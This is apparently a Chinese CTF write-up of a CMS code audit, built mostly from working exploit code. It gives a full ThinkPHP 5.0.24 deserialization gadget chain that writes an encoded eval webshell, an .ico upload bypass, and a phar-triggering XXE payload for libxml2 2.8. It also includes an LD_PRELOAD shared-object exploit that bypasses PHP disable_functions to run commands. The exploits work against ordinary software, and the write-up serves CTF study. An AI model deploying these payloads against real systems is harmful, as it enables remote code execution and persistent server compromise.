某cms代码审计
之前比赛时候的一道题目
做下学长大佬出的题目! 上回没做出来!
题目环境是libxml2.8
的!
tp5
反序列化写shell
tp5.0.24
调用一下tp5反序列化的链子!
自己加个入口!
win是入口:
File.php
file_put_contents 写入shell!
写入成功!
exp
<?php
namespace think\process\pipes {
class Windows {
private $files = [];
public function __construct($files)
{
$this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}
namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
public $parent;
function __construct($output, $modelRelation)
{
$this->parent = $output; //$this->parent=> think\console\Output;
$this->append = array("xxx"=>"getError"); //调用getError 返回this->error
$this->error = $modelRelation; // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
}
namespace think\model\relation{
class HasOne extends OneToOne {
}
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}
}
namespace think\db {
class Query {
protected $model;
function __construct($model)
{
$this->model = $model; //$this->model=> think\console\Output;
}
}
}
namespace think\console{
class Output{
private $handle;
protected $styles;
function __construct($handle)
{
$this->styles = ['getAttr'];
$this->handle =$handle; //$handle->think\session\driver\Memcached
}
}
}
namespace think\session\driver {
class Memcached
{
protected $handler;
function __construct($handle)
{
$this->handler = $handle; //$handle->think\cache\driver\File
}
}
}
namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;
function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>',
// 'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php', //win
// 'path' => './demo/' , // 创建目录 要高权限才行 不然会报错 写目录的地方也要有w才能
'data_compress' => false,
];
$this->tag = 'xxx';
}
}
}
namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
// echo serialize($window);
echo base64_encode(serialize($window));
}
XXE RCE
XXE
入口
在 PHP 里面解析 xml 用的是 libxml,当 libxml 的版本大于 2.9.0 的时候默认是禁止解析 xml 外部实体内容的。 这里题目环境是2.8.0。
现在的思路是寻找上传点!
application/user/controller/Uploadify.php
有上传点!
经过测试发现:
一般的jpg,gif图片:有检查绕过不了!
但是ico
图片可以!
成功上传!
phar反序列化测试:
写一个测试点:
触发成功!
XXE触发!
<?xml version="1.0"?>
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "phar://./uploads/user/4/allimg/20211207/4-21120G45250B5.ico" >
<!ENTITY upload SYSTEM "http://0.0.0.0:1" >
]>
<a>
<foo>&xxe;</foo>
<up>&upload;</up>
</a>
写入成功!
bypass disable_fun
上传exp bypass
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
const char* cmdline = "/readflag > /tmp/1.txt";
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
system(cmdline);
}
<?php
putenv("LD_PRELOAD=/var/www/html/uploads/exp.so");
mb_send_mail("","","");
echo 1111;
?>
冲冲冲冲冲冲冲冲冲冲冲冲!学长大大带带!
点击收藏 | 0
关注 | 1
打赏